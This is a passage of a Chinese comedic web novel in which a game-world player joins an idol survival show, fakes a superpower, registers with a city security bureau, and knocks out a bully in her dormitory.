系统莫名有种抹了把汗的错觉：“已为您添加新面板：【异能·伪】。”
【异能·伪：你可以通过技能效果，伪装成异能者。
效果（可手动开启）：提供异能者特有的【？？】波动。
但请小心，您的伪装很容易被识破，请继续提升技能等级和天赋等级吧。】
“这还差不多。”
朝晖带着新面板读档，回到熟悉的走廊，身旁是依旧话痨的贵宾犬。
静下心之后，她才忽然回忆起此前在新宿舍楼下，她和自家员工分别之前，对方的一句话。
“朝小姐，在外人面前还是尽量不要暴露出您力量很大这件事……可能会带来麻烦。”伊尔莎说。
朝晖左耳进右耳出：“大不了就读档咯。”
“……”
唔。
从秃头老板的表现来看，普通人应该不知道异能者的存在。
但这个伊尔莎，该不会知道什么关于异能者的情报吧？
8. 洛川（8）
读档后，朝晖认为没有必要再次体验一遍npc的互动内容。
因此，作为一名追求效率的玩家，她十分合理地全程把贵宾犬当空气，自顾自走进404房间。
“偷窥”的导演组成员大喜：“好好好！快把这段‘目中无人’的片段保存下来！”
贵宾犬：……
她没能搭上话，尴尬地回去了。
朝晖则把自己的行李往床位边上一甩，一个飞扑陷入柔软的床铺内。
“要想办法给节目背后真正的掌控者造成麻烦才行啊，之前那样乱打一气对他们来说根本不算什么。”朝晖理智分析。
系统：“亲爱的玩家，如果未能在规定时间内完成主线任务，可能会造成卡关、坏档……”
“你在教我玩游戏？”
“……”
虽然有些不情愿，但朝晖不得不承认，自己被游戏策划拿捏住了。
老是读档、不能推进度的话，对好强的玩家绝对是沉重打击。
丧着脸打开主线任务列表后，她发现接下来的一串任务全是【参与拍摄】【参与预录】之类看起来毫无趣味的内容……等等。
【新秀挑战（限时）：本挑战将于今日17:00开始，七日后21:00结束。
个人拍摄时间是17:00-17:15哟～
挑战内容：今日最重要的拍摄内容，不是公式照，也不是舞台预录，而是……
《时长两分半的个人简介视频录制》！！
如何在赛前吸引人气，让脸盲的观众最快记住你？也许，这将会是你走向巅峰的第一步。
奖励：您的挑战视频上传后，七日内所获点赞数量将以1000:1之比例转换为自由属性点。】
噢？还有这种好事！
自由属性点这东西，除了她建号时游戏送了30点，目前暂时没发现任何获取途径。
35点力量就能媲美力量型异能者的话，再多加点儿不得爽翻了？
朝晖立刻打开手机疯狂搜索，查看过往选秀类节目的类似视频数据。
你别说，游戏竟然连这种细节都做得清清楚楚。
首周点赞数量是很重要的数据，能反应最初个人简介的吸引力，因为第二周就会开始陆续公布其他内容。
朝晖竟直接搜出了一张神奇网友制作的数据表。
“平均1500到2700，最低不过百，历史最高刚破万……这么惨淡吗？”朝晖皱眉。
选秀节目的参与者大都是公司内的练习生，本身名气不会太大，而选秀受众比较固定，所以不同的节目数据差距很小。
“系统，假如首周点赞不够1000的话，给多少属性点啊？”朝晖像一个生怕沉船、查询保底的抽卡玩家。
系统冷漠：“未满1000获得0属性点，未满2000获得1属性点，以此类推。”
“就知道好东西没那么容易拿。”朝晖哼哼两声。
既然如此，那么她也只能拿出自己的拿手绝活了……
“咚咚咚！”
清脆的敲门声打断了她各种整活的脑洞。
404宿舍门被轻柔地推开，走进来一位黑长直npc。
啊，是室友。
说起来，上个存档，她就是在新室友脸上冲出大门、对着不能互动的宿舍楼大开杀戒的来着。
当时她没仔细看，现在么，呵……
这建模也太美了吧！
“系统，说好的乙女游戏呢，怎么感觉反而是好看的女npc比较多啊？”
“……”
被朝晖炽热的眼神盯得毛毛的npc：“……你好？”
她身上有互动标志，朝晖自然地接话：“你好啊，有什么任务可以交给……唔，我是说，我可以给你拍照不？”
npc：“？”
她肤色白皙，四肢修长，五官淡雅，有一双清冷的丹凤眼。
这种长相偏“猫系”，不是传统美女，在洛川不受主流欢迎，但也不缺乏自己的那一批受众。
很凑巧，朝晖就非常吃这种类型。*
她哪里会去等npc回应，已经自顾自抓起手机开拍了。边拍还边问系统：“这些截图我可以保存留着以后看的吧？”
“……只要您不删除就可以。”
新室友似乎脾气不错，虽然觉得哪里不太对，但还是下意识配合了拍照。
“自拍自拍！”朝晖不要脸地凑上去。
狂拍了108张，新室友脸都僵了。
僵着脸笑不出来的npc，在心里给自己打气好几次后，终于鼓起勇气询问：
“您是朝晖吗？”
“是。”
“噢噢，我叫裴韫，我们……应该就是室友了，请多关照。”
“嗯嗯。”
朝晖已经自动给她命名为“猫猫”。
泻药，本玩家今年18岁，刚进节目半小时，猫狗双全！
不过那位贵宾犬妹子现在应该跟她没啥交集了:(
一边摆弄照片，她一边问：“对了，你知道异能吗？”
裴韫僵硬的表情变得更加一言难尽：“异能？是……小说里的？”
“差不多，你有不？”
“……没有。”
“唔。”
朝晖大摇大摆地离开宿舍，敲响隔壁403的门。
众所周知，在游戏中获得线索后，玩家自然是要跟任何一个能够交互的npc对话，进一步推进剧情。
403开门的人不是贵宾犬，不过对朝晖来说没什么差别。
她友好地问：“你好，有什么事吗？”
“你们知道异能吗？”朝晖大大咧咧地说。
“……啊？”
啧。
没能获得任何信息的朝晖回到房间，尝试在手机上搜索。
关键词“异能”，出来的全是各种游戏小说的广告。
再搜“洛川市安全局”，简介上说的是以保卫市民安全、维持城市秩序为职责的半官方机构。
官方联系电话：1234-xxxx。
“您好，洛川市安全局。”
“歪，”朝晖悠哉地翘起二郎腿，“我有异能，请问怎么去你们那儿登记啊？”
“……？”
半小时后，安全局专用车停在《星光训练营》宿舍楼下，载上朝晖，一路奔驰。
很快，她便和不久前才见过的寸头女、温婉女、助手男三人在安全局办公室齐聚一堂。
只不过，这回她没被关在栏杆里，而是被礼貌地邀请至接待处就坐。
“他们身上带的不会是枪吧？”朝晖闪亮的大眼睛紧紧盯住路过的员工，“能给我一把吗？”
“……他们是行动部门的成员，不能。”
寸头女单手点烟，表情怪异，“你
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怎么知道异能的事？”
“你告诉我的啊。”
“？”
方才，朝晖展现出了自己的两个能力。
第一个是释放【异能·伪】，散发出某种未知的神秘波动；二是重拳出击，成功报废了接待室的一面厚实墙壁。
寸头女给她试了试防弹玻璃，这回她捶不动了。
于是经过一番激烈的讨论，安全局认定她是罕见的双异能拥有者！
一种可以隐藏自身，另一种则是中等的力量增幅。
这么好的苗子肯定是要招揽进入安全局啊！
——遗憾的是，这个漂亮姑娘来历神秘，安全局只查到她出身平民，此前未曾在任何异能者机构登记过，且脑子似乎也有点问题。
“……我告诉你的？”寸头女嘴角抽搐。
“唔？”
朝晖思索一秒，察觉到她的回答可能没触发关键点，导致卡剧情了。
但……她也不知道该回答啥啊。
“总之我就是知道。”朝晖开摆。
寸头女皱眉，寸头女眼神玩味，寸头女轻轻点头。
“行吧，英雄不问出处。情报人员认为你没有问题。你打电话的目的就是要加入安全局对吗？”
……这么敷衍的回答竟然也能被接受吗！
朝晖摇头：“不不不，想必你也知道，我的目标是成为一名优秀的偶像，逐梦演艺圈。我只是想来登记一下异能者的身份，有优待对吧？”
“……啊？”
“到底有哪些优待？算了，我想问问能不能让我的旧公司倒闭？我带一个员工出来就行。”朝晖挠挠头，“还有，你们这儿有没有什么佣兵工会、任务委托之类的啊？我想赚钱！”
安全局员工：？
没过多久，可怜的朱老板再次（？）被安全局员工上门□□。
朱老板颤巍巍地道：“……她犯了什么事儿啊？”
“没什么。”安全局员工冷酷地拿出保密协议。
并将获得的情报发送至局内。
“疑似妄想症、语言障碍，精力极度旺盛，对唱歌跳舞有着非同一般的渴望和热情。”局内专家点评，“行事风格不可预料，性格跳脱难以捉摸。唯一能够肯定的是，她很想参加选秀并出道成为偶像。”
“哦对了，看样子她不太喜欢她的老板。”
众人面面相觑，纷纷感慨：
“神经病年年有，今年特别多。”
“还以为行动部的人脑子够有病了！”
“以前是贫民窟的，那边的人很多都这样。”
异能者们万里挑一，身怀特殊能力，且从小就异于常人，不得不在隔离的环境中长大，难免或多或少有点毛病。
安全局员工为了安抚他们，可以说是操碎了心。
“想成为偶像，这，也不是不能商量。但你目前没有通过异能者的培训和考核，进入社会是比较危险的……”温婉女试图规劝。
“我也觉得很危险啊！”朝晖大声赞同，“我根本打不过警察，啥都干不了。公司也不发工资，想去小卖部吃点东西都买不起！”
寸头女：“……你打过警察？”
这个存档内当然是没有的。何况，他人看来，她要是真打了，还能好端端坐在这儿吗？
于是众人面色沉重地叹了口气：是她在妄想中做过这些事情吗？
还真病得不轻！
9. 洛川（9）
在安全局员工试图努力劝说的时候，朝晖抬头，发现墙上的挂钟指针已来到下午三点半。
“我得走了！”玩家“腾”地起身。
“？”
“我还有限时任务，拍摄宣传片，这可不能迟到啊。”朝晖推开拦在路上的npc们，“唔，是唱歌还是跳舞？来一段rap也行，这里是aka-朝晖，诞生于1996，身高一米七八把你们一起击杀……”*
站在她旁边、把她的话听得一清二楚的寸头女：……
其实，对于异能者们，安全局所拥有的权限比想象中大。
如果朝晖一直不配合，他们有权力采取强硬措施。
当然了，他们并不知道玩家的终极大招——“时光重置术”——读档。
但洛川市各个官方机构以及上层诸多势力之间，并不是铁板一块，彼此不乏明争暗斗。
一般异能者六岁觉醒，培养周期极长。所以，各个势力之间对各方实力心中有数，短期内也没法提升太多。
朝晖虽然来历不明，但一来就是能派上用场的成年体（？）了，这会在多方博弈当中增加一个变数。
况且，她的异能并不是特别强，只是很灵活巧妙，寸头女自认自己手下的人完全能够随时控制她。
就算她脑子有点毛病，但她活了这么大年纪，看样子还没有闯出什么大祸（寸头女相信自己的情报网），正说明这孩子可能是心里有成算的（？）。
最终，寸头女艰难地下了决心，一把拉住在安全局门口试图撬车的朝晖。
“这样吧，你可以当偶像，先把协议签了，你的证件我也会从朱老板那儿拿过来，暂时保存。我再安排人送你去《星光训练营》。”
寸头女的头上，冒出了耀眼的蓝色光芒。
“真有支线任务！”
朝晖秒接，一个一百八十度大转弯，深情地握住了寸头女的双手。
然后，她疯狂催促寸头女拿出协议，看都没看一眼就光速签字。
翻页的时候，纸张都快起火星了。
寸头女：“……呃呃，合同要不还是仔细看看吧？”
朝晖不耐：“快签完然后赶紧出发，不然来不及了。”
……
最终，朝晖提前半个钟抵达《星光训练营》拍摄地。
场地暂未封闭，楼下不乏进进出出的选手，不过被安全局的车送回来也足够显眼了。
门口处不起眼的地方，有人拿着手机或者相机，拍下这一幕。
安全局员工原本想为朝晖构思一个合适的理由，没想到她分毫不在意，跳下车便直直冲向自己的房间。
——她还要排练一下自我介绍的最终版呢！
结果，还没有进入404内，就看到自己的猫猫室友站在门口，和另外几个npc不知道在说些什么。
几人表情模糊不清，气氛颇为凝重，猫猫室友背靠着墙，低着头不说话。
仔细一瞧，403的门开了一条缝，两三颗脑袋挤在缝边，鬼鬼祟祟地偷听。
眼见有人过来，npc们、猫猫室友、房间里偷听的脑袋们十分默契，齐齐转向盯着她。
看起来，就很像是触发了新的场景剧情呀！
于是朝晖抖擞精神，挨个询问：
“有什么任务要交给我吗？”
npc们：“……”
被她从房间里薅出来的三个403偷听路人甲：“……”
猫猫室友：“……”
猫猫室友慌张地拉住朝晖的袖子：“你，你先进去吧，我没事。”
朝晖等了会儿，发现虽然触发了对话，可并没有任务。
没有新任务的话，当然是限时任务更重要。
于是她干脆利落地点头，挤开几人，就要进门。
——却被人给拉住了。
“你就是404新来的那个吧，据说脑子有病的家伙？”
npc们以包围之势，将朝晖逼到墙角，打头的那个不轻不重地推了一下朝晖的肩膀。
朝晖睁大眼，挠头：“看这样子就是有任务啊！系统，限时任务只要我卡点到应该就没问题吧？”
系统：“……是的，只要在规定时间参与即可。”
“噗。”
“哈哈哈哈哈哈哈哈哈哈！”
ncp们一愣，然后夸张地、捂着肚子大笑起来。
——玩家的话语，如果触发了和游戏有关的词语，就会被系统自动和谐为“阿巴阿巴”。
有的人，光活在这世上就已经十分不易，面对“疯言疯语”，只担心自己被风波卷入，于是选择远离、害怕她。
有的人，人生无波无浪，他人奇怪的言语和行为对他们来说，不过是生活的调剂品、荒诞的闹剧，自然觉得可笑。
“有人说她被安全局带走了，我还不相信！”
“真的，可能她脑子太蠢，吓到人了，所以有人报警了吧。”
几个npc视她为无物，自顾自聊天，欢声笑语。
缩在一旁的猫猫室友不敢抬头，脸色发白，手指悄悄攥紧朝晖的衣角。
“喂！”
卷毛的贵宾犬鼓起勇气喊了一声，强撑着说道：“那个，走廊上也有摄像头，晚上也还有拍摄活动，姐姐你，你们……要不还是先回去吧。”
另外两个403路人吓得连忙后退两步，跟勇士拉开距离。
“嗯？”
领头的npc拥有一头柔顺的长卷发，以及精致美好的脸蛋。
她像是听到了什么不可思议的事情一样，对着身旁的人说道：“摄像头？哈哈哈哈哈！”
贵宾犬脸色苍白，她这才明白，眼前的几人压根不怕节目组。
“没想到裴韫才来这么会儿，已经拥有了这样的‘好朋友’，真棒啊！”卷发女夸张地双手合十，满脸笑容，“既然这样，正好大家一起玩，我们到裴韫的宿舍里做客。”
话音刚落，卷发女身后的npc已领会老大的意图，重重地推了贵宾犬一把，把她推到墙角，和裴韫、朝晖两人窝在一起。
“那么——”
“唉，原来是霸凌戏码，好俗。不过女生宿舍里看样子也不会出现‘英雄救美’的情节啊？难道我要用我优美的歌声征服她们？”*
朝晖左耳进右耳出地过了会儿剧情，觉得实在无趣，干脆阴阳系统一把。
系统：“……”
“现在都四点半了，希望这个剧情能赶紧过完。不过她们在走剧情，我可以练练稿子，不怎么影响。”
朝晖自言自语着，打开了备忘录，清清嗓子，便中气十足地开口：“我是个人练习……啊呸，星宇娱乐公司练习生，aka-朝晖！擅长唱歌、跳舞、rap。是唱歌激发了我，跟秃头老板搭了伙，千万别让我发了火
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，Ayo～～～”
“诞生于——呃，我看看——诞生于2066，梦想是歌唱领袖，so pretty so fantastic，没有太多讲究！想唱歌跳舞的女孩，创作是我的王牌……唉，系统，【创作】天赋什么时候才能解锁啊？”*
系统：……
瞪大眼睛的霸凌npc们：……
贵宾犬和猫猫室友：……
狗腿npc喃喃自语：“原来是真的神经病啊，我还以为只是形容词。”
卷发女的表情却非常难看。
她一向是人群的中心，是节奏的掌控者、气氛的领导者，没人敢无视她。
可如今，自己的节奏竟被一个神经病打乱，她只觉得丢脸又恼火。
一串充斥着屏蔽词的祖安问候从她的口中倾泻而出，卷发女一脚踹在朝晖身上，咬牙切齿地说：“艹，这年头像你这么傻*的人已经很少见了，西——八——”
“喂喂喂！”
朝晖抗议，“怎么还打人！系统，我可没惹事啊，但别人打我我总不能不还手吧？”
系统：“……这个……”
系统还没说什么，朝晖已经进战斗状态了：卷发女的头顶，出现了一条长长的、红色的、十分眼熟的东西。
试问，哪个玩家能不认识它呢？
对于玩家来说，只要是亮出血条的东西，神也鲨给你看！！
而且，这可是本游戏中第一次出现有血条的生物啊！
朝晖没忍住，一拳挥出——
敌人的血条一泻千里，敌人的身体旋转着飞到墙上，敌人吐了口血，敌人昏迷不醒。
“这么弱！难道我又要进局子？”朝晖愣了0.1秒，随后立刻得瑟起来，“还好我存档了，我可真是个天才！——系统，读档的话限时任务不会消失吧？”
“……不会。”
另外几个霸凌npc尖叫着跑了，贵宾犬和猫猫室友则一屁股坐在地上，紧紧握着彼此的手，仿佛失散多年的亲姐妹。
而刚才似乎不存在的摄像头，此刻发挥了它应有的作用——没过两分钟，就有一群人乌泱泱地来到四楼，大都是穿着装备的保安。
此时，距离安全局的车子把朝晖送达，才过了不到十分钟。
司机懵逼地接到上头电话，叫他赶紧掉头回去，他们新鲜出炉的员工闯大祸了。
卷发女被拉去医院抢救，以寸头女为首的安全局员工、以导演组为首的《星光训练营》员工们则严肃地相聚在会议室里。
“她爸爸是云端能源的大股东！”导演组放出大炸弹，质问着寸头女：“姜局长，你们对异能者的管理是不是出现了问题？”
寸头女，姜瑶，安全局副局长，此刻心中恨不得把朝晖暴揍一顿，表面却风轻云淡：“你们在监控中看见了异能者受到欺凌的画面，却未曾阻止，这不符合《异能者合作条例》吧？”
“贵方未曾对异能者参加节目进行报备！”《星光训练营》总负责人不甘示弱。
“您再看看邮箱呢？”
总负责人打开邮箱，发现安全局竟然真的报备了，就在打人事件发生前一分钟。
……
双方开始无穷无尽的扯皮。
与此同时，被“邀请”至休息室的朝晖：“我五点开始的录制会受影响吗？”
负责看押她的员工：“……”
10. 洛川（10）
扯皮到最后，《星光训练营》的参赛选手高低得退一个。
不是“昏迷不醒医院抢救”的那个，就得是“卷入案件静候审判”的这个。
发生如此意外，原定的拍摄活动是没办法进行了。
节目组决定推迟录制时间后，朝晖的限时任务时间也变为“待定”。
于是，员工惊讶地发现，这位吵吵嚷嚷个不停的祖宗莫名安静下来，乖乖窝在沙发上。
仔细一听，她嘴里还在念叨着什么，仿佛是“aka-朝晖”、“创作是我的王牌”之类含混不清的话。
员工：……
虽然说她打了人，但这……想要成为偶像的态度也未免过于认真了吧！
那边会议室的争执进入白热化阶段时，休息室大门忽然被推开。
朝晖正在精修最新一版的自我介绍，抬起头，正看见自家助理的脸。
“艺人方面就拜托你多照顾了。”员工礼貌地说。
伊尔莎点点头，走到朝晖旁边坐下，“朝小姐。”
“呀，我差点把你忘了！”朝晖兴高采烈地拍了拍混血员工的肩膀，“快帮我参谋参谋，我这段自我介绍怎么样？”
“……行。”
等到一段rap结束，伊尔莎方才那股担惊受怕的情绪已经消散无踪。
……她到底还在对自家上司抱有什么期望啊喂！
伊尔莎深吸一口气，强行扬起嘴角，认真分析起来：“现在的人看腻了寻常套路，你这个……播放量说不定会很高。”
她已经琢磨出几分味道。
朝晖刚才提到了几句限时、播放量之类的关键词，说明老板最为关心的正是这方面。
至于中间夹杂着的“阿巴巴”“咕噜噜”，已被她坚强地忽略掉。
“你也觉得不错？”
朝晖大喜，认为自己家员工特别地有前途。
她在游戏里瞎玩，又不代表她傻。
听到这种整活的东西，其他npc似乎都觉得很震惊，仿佛他们的ai里没有设定该怎么做出反应。
千篇一律的回应，让朝晖感觉到整活乐趣的同时，也颇有几分腻味。
但自家员工，竟然认可了她的创作！
这不正好说明，她和自己万分相合吗？
“莎莎，还是你有眼光。”朝晖亲密地搂过伊尔莎的肩膀，“怎么啦，过来找我有什么事儿？”
伊尔莎没想到自己这么低段位的马屁，就能拍得朝晖龙心大悦。
犹豫片刻之后，她凑近了老板小声开口：“朝小姐，刚刚发生什么事了？我看到安全局的车停在楼下，节目组的高层也都过来了。”
“噢，可能是因为我打人了……？”
朝晖挠挠头，补充一句：“但是我是正当防卫，是对方先打我的！应该是因为这个，才到现在还没抓我吧。”
伊尔莎：……
也不必问她打了谁，想必不是什么好惹的角色。
毕竟……
“你是安全局那边的异能者吗？”伊尔莎耳语般说道。
这种姐妹悄悄话的氛围感，莫名影响到了玩家，让她觉得这样的角色扮演很有意思。
于是她也用气音回答：“应该是吧，我下午跑去他们那儿签了个合同，他们说异能者有优待。”
“……啊？”
伊尔莎瞪大了眼睛，“我以为……你是贫民窟的人。安全局一般不会要那边的异能者。”
“贫民窟怎么了？看不起穷人还是咋滴？”朝晖顿时就火大了。
伊尔莎忙挥手：“不是，贫民窟异能者联合会是一个组织。原来你不是吗？”
“不是啊。”
俩人大眼瞪小眼。
“我以前没有组织。”朝晖兴奋地盯着对方，“所以，你来自于那个组织？”
玩家觉得，自己很显然挖掘到伊尔莎这边的隐藏任务线了！
亲爱的莎，你还有什么惊喜是朕不知道的？
“我不是……我只是个普通人，只是恰好知道一些事情罢了。”
伊尔莎毕竟还是年纪小，过了一会儿才回味过来，“等等，那你异能觉醒之后都呆在哪里？只有贫民窟会收留游荡的异能者。”
异能者一般在六七岁的年纪觉醒，能力很容易失控，身上的波动也无法隐藏，可以被仪器检测。
所以，几乎所有的异能者都在某些组织的庇护之下长大，日后也很少改换门庭。
有些异能比较垃圾、性格又很差的，没有培养价值，各个组织都看不上，就会被贫民窟异能者联合会捡回去养大。
这本来应该是安全局的活儿，但他们默认了这种行为，让贫民窟也拥有了自己的一点力量，能够解决麻烦、自我保护。
伊尔莎原以为朝晖就是这种人，是由于精神疾病方面的问题（？）留在贫民窟。
“游戏故事线开始就是18岁，目前好像还没有关于主角身份更进一步的解密。”
朝晖托着下巴，大脑飞速运算起来，“哼哼，我就知道，建模这么精美的人物，肯定能挖掘出更多剧情。系统，伊尔莎一定就是关系到玩家过往的npc之一吧？我已经看穿你们的套路了！”
系统：……
伊尔莎：……
这段话几乎全部被打码，伊尔莎一个字也没听懂。
短短一分钟的时间，她觉得自己又成熟了许多。
是啊……以朝晖这样的性格，能好端端活到18岁，其中肯定有许多她暂时无法想象的缘由。
之前，朝晖在公司里惹事，被逐利的朱老板一笔抹去；现在她打了人，又有安全局来出面保她；等以后出了什么事，说不定还会有别的转机呢？
经过不到一个月的相处，员工对于自己上司的惹事能力，已经毫不怀疑了。
不过，她也不必操心什么，反正她只是个小虾米。
伊尔莎勉强说服了自己，紧皱的眉头舒展开、提着的心放回肚子，舒舒服服靠在沙发上。
“趁现在有空，你多跟我说说你以前的事儿呗？”朝晖还不死心，想挖掘任务线索。
“你想听吗？这个，也没什么好说的……”
伊尔莎没有想到，眼前的祖宗还能提出“谈心”。
这……这不像她啊？
不过看见朝晖亮晶晶的眼睛，她还是点头：“没问题，不过现在不是时候，他们还在处理您的事情，您可能随时要出面。”
“朝小姐愿意听的话，改天我们再聊？”
“好哇！”
朝晖心道，这不就是暗示日后的任务嘛。
却没想到，对话刚刚结束，系统便提示她，【只手遮天的财阀】的进度推至2/100。
与此同时，休息室的大门也再一次被推开，以寸头女为首的安全局员工们西装革履、满面严肃地涌入，吓得伊尔莎一骨碌站起身，后背挺得笔直。
“朝晖。”寸头女揉了揉太阳穴，满面疲惫，“跟我走，我明天送你过来。”<
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p>“去哪儿啊？”朝晖不乐意了。
404宿舍是有点儿太粉了，但朝晖还是很希望能够进去住一晚的。
魔法少女的梦想，对于18岁的角色来说可能略显幼稚。但对于内心藏着25岁社畜灵魂的她，正是刚刚好！
“……先跟我走。”
朝晖瘫在沙发上不动，看得其他安全局员工心里七上八下的。
——姜瑶名义上是副局长，可谁不知道安全局那位神秘的局长基本不露面、不管事？
敢给姜局长甩脸子，这位朝晖做事可真是……还怪符合她的风格的嘞。
许是系统也看不下去了，索性发布支线任务，寸头女头上亮起熟悉的蓝色标志。
“寸姐，咱这就走，去哪儿？你说了算！”朝晖一个鲤鱼打挺，从沙发上利落地翻身而下，亲切地握住了寸头女的双手，“对了，把莎莎带着吧？她是我的员工，陪陪我挺好的。”
朝晖有点儿小私心，看能不能带着伊尔莎过剧情，触发更多的任务进度。
寸头女：“……我叫姜瑶。”
朝晖立刻改口，“姜姐，那还等什么？咱快出发吧，时间不等人！”
所有人：……
一路上，伊尔莎非常紧张，腿都有点儿哆嗦，但表情却保持得十分得体。姜瑶不由得多看了这个混血儿几眼。
注意到她的眼神，伊尔莎镇定地回以笑容。
……这小姑娘，素质挺不错呢。姜瑶暗道。
等到车子平稳地开上大路，姜瑶缓和了脸色，闲聊般开启话题：“小朝，你是不是不太能控制自己的力量？”
朝晖想了想，机灵地回答：“之前不能，现在可以了。我承认我是故意打她的，但谁让她先打我了呢？”
“……”
“因为跟你们签了合约，我算是安全局的异能者，所以打人了也不用进局子咯？”
朝晖理了理思路，越发觉得自己的想法是对的。
之前她打过秃头老板，瞬间被抓。
这次打了个霸凌别人的npc，看起来也是蛮有势力，却连警察局都没去。
呀——这就是特权的感觉吗？
挺爽的，又有点不爽。
姜瑶：……
她无奈地开口：“是的，可以这么说。不过你这个想法太危险了，唉……算了，以后再说吧。”
“今天是有人出手保下了你，不是我们安全局，而是另有其人。如果没有他，我们还得继续扯皮下去呢。”
“是吗？”朝晖左耳进右耳出。
她关心着车辆的进度——眼见车子缓缓驶入停车场，她的支线任务也顺利完成！
经验不算特别多，但比干刷技能快多了。有钱财收入，流程又很短，朝晖满脸笑容。
姜瑶率先下了车，点上一根烟，把朝晖拉过来沧桑地拍了拍她：“小朝，我也不知道为什么我就莫名其妙地把你招到安全局了，也许是在你身上看到一种不一样的东西吧……但我也是背负着很大压力的。明天你回去，到节目开播之前这段时间，就当帮帮我，好好地当你的偶像，别惹事别打人，成吗？你有什么想要的，可以跟我提，我会尽量帮助你的。”
“叮！”
“您触发了支线任务【姜瑶的请求】。奖励：经验/金钱/姜瑶的一个承诺（神秘奖励）。”
朝晖：？
朝晖：“姜姐，你放心，有什么嘱咐尽管提，大不了我无限回档，一定把您交给我的任务好好完成了！”
11. 洛川（11）
朝晖忽然配合，姜瑶云里雾里地把她领到局里，给她培训。
培训的主要内容，就是讲解《异能者合作条例》这份厚厚的官方文件。
异能者数量少，其存在也不为大众所知，但在上层人眼中，这并不是一个秘密。
随着安全局的设立、官方对于异能者的有效保护和管理，异能者数量也在逐年增加。
如今整座洛川市登记在册的异能者，就有不下于三万人。
“市政府辖下的异能者足够完成‘任务’所需，因此其他异能者还是要到社会上找工作的。”姜瑶点燃一根烟，“当然了，他们主要的工作岗位是市政单位、警察局、安全局等，像你一样进入娱乐圈的，少，但也不是没有。”
“异能者进行工作时，必须要遵守《异能者合作条例》，其直属机构也需要和用人单位进行报备。”
“什么任务？”朝晖的耳朵自动过滤掉了其他字句，“我能做任务吗？”
“……不能。”
姜瑶一巴掌拍在朝晖脑门上，没好气地说：“你先把这份条例给我好好看一遍，听到没有？”
由于接受了【姜瑶的请求】，朝晖只好失望地点点头。
她翻开条例，看了三行，速度越来越慢，大脑越来越晕。
她“啪”地一声把文件合上了。
怎么会有玩家在游戏里看文件啊！
“老姐，你看我像是能记住的样子吗？”朝晖诚恳道。。
她五官精致，皮肤细腻，越是离得近看，越是不似真人。
姜瑶也不由得看愣，回过神叹了口气，“……行吧。”
她递了个眼神，坐在朝晖旁边的伊尔莎接收到信号，默默地拿过文件。
伊尔莎或许不是一个记性很好的人，但姜瑶相信，她会牢牢地把这份文件倒背如流。
“那就听听另一件事吧。”
姜瑶吸了口烟，“我刚刚说过，像你一样跑去当明星的异能者，还是有那么几个的。”
“嗯嗯。”朝晖点头。
“你就一点儿也不好奇是谁帮了你吗？”姜瑶无奈。
“谁啊？”
朝晖不是不好奇，而是习以为常。
玩家在游戏中，都会遇到各种前辈高人/隐士大佬，把玩家当做新时代的开创者、自己唯一的传人，给予各种帮助。
尤其是单机游戏，那把玩家称作命运之子、唯一主角也不为过。
在这种情况下，并不觉得有陌生人帮助自己值得奇怪。
——这不是应该的嘛？
严格来说，安全局的姜局长也属于提供帮助的前辈角色。
也许是从朝晖不做掩饰的表情上看出了她的想法，姜瑶心中苦涩地想：这位祖宗到底是怎么养成这样的啊？
“算了，不管怎么样，这个人你还是要知道一下的。”
姜瑶拿出手机，调出一张照片递给朝晖：“余烬，《星光训练营》的pd，也是如今洛川最火的偶像，说是‘顶流’也不为过。”
照片上是一个剑眉星目、五官立体的男性，染着一头显眼的金发，帅是帅，就是表情……挺狂放不羁的。
“你想进娱乐圈，不会不认识他吧？”姜瑶从朝晖那平静无波的表情中看出一丝不对。
朝晖忙摆手：“不不不，这个人我知道。”
这人她还真认识。
《逐梦演艺圈》的游戏海报她还是看过的好吧！
海报上没有女主角，因为每个玩家创建的角色形象都不一样。
所以，海报上最主要的位置，就是五个乙女游戏的男主角。
朝晖只匆匆看了一眼海报，但她记得C位的那个男角色，就是金色头发、穿着表演服的人，和眼前的照片长得差不多。
他不仅站在C位，打扮显眼，还比后面四个人都大上一圈。
这充分说明，在五个男主当中，此金发男属于绝对的一番。
“按照乙女游戏的传统，男主就那么几种类型，霸道总裁、温柔哥哥、腹黑西装男、年下小奶狗，也不知道这个金发男是哪类。”朝晖摸摸下巴，“一般来说，一番角色都是霸总或者哥哥吧？但看照片也不像啊。”
姜局长：……
伊尔莎：……
姜瑶重重地拍了拍桌子，“什么乱七八糟的，总之他是异能者，但他不属于安全局，而是‘贫民窟异能者联合会’的成员，也是那个组织的顶梁柱之一。”
“这样吗？那他是异能特别垃圾还是性格特别有病啊？”朝晖好奇地抬头。
伊尔莎：……
这句话倒是被她给记得清清楚楚了！
姜瑶：“……你还知道贫民窟的事？算了，这些资料回头我都会发给你的，没事多看看。他的情况比较复杂，严格来说的话算后一种。”
也就是性格有点儿毛病。
要是他的异能比较强，就说明性格上的毛病绝对小不到哪里去。
问题是，乙游男主的异能怎么可能不强？
“哎，性格问题嘛，我懂了。哪个男主没点儿惨绝人寰的黑暗过往？没点儿胃病、面瘫、心理疾病？不然女主怎么拯救他们呢？”
系统：“……您还挺熟练的。”
朝晖不满：“我小时候也看过言情小说的。”
姜瑶：“……他是《星光训练营》的pd，又是异能者，之后可能会跟你频繁接触。也是他出面担保，让你能继续参加节目。不管他有什么毛病，他都帮了你，你对他客气点儿，别闯祸，知道吗？”
朝晖胡乱点头：“行吧。不过要是他敢惹我，我冒着读档的风险也会揍他一顿的。希望他不是那种性格很欠揍的男主！”
“对了，他的异能是什么啊？”朝晖忽然想到，既然日后有可能发生战斗，那是不是应该提前探听一下敌人情报？
然而姜瑶却摇摇头：“异能者一般都不会轻易透露自己的能力，除非是非常显眼、无法隐瞒的类型。官方的登记处也只登记异能者身份和等级，不会登记具体能力。”
“倒是你这家伙……你参加节目时隐藏了异能者波动，又有监控摄像为证，现在圈子里消息灵通的人应该都知道你的能力了。”
想到这，姜瑶叹了口气。
双异能的人不是没有，只是比较少见。
朝晖的两个异能，单独拿出来都不算强，组合起来却十分巧妙，有时候能起到出其不意的效果。
现在嘛……算了！
朝晖却对另一件事非常感兴趣：“还有等级？我是什么等级？”
“……这些基础信息，我发给你的资料上都有啊！”
“那你跟我说说不行吗？我懒得看！”朝晖毫不惭愧。
姜瑶扶额：“S、A、B、C、D五
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个等级，你的两项能力分别是C、D，因此登记为C级。”
这也是姜瑶耍的一个小心机。隐藏能力算C级，力量系异能只算D级。但组合起来的效果恐怕不止C级那么简单。
加上朝晖的性格，她比普通C级异能者危险得多。
“啊，这么弱吗。”朝晖失望，“唉，行了，该知道的我都知道了，要不姜姐你还是赶紧把我送回训练营吧？我要练习技能！”
“……练习技能？练习你的异能吗？”
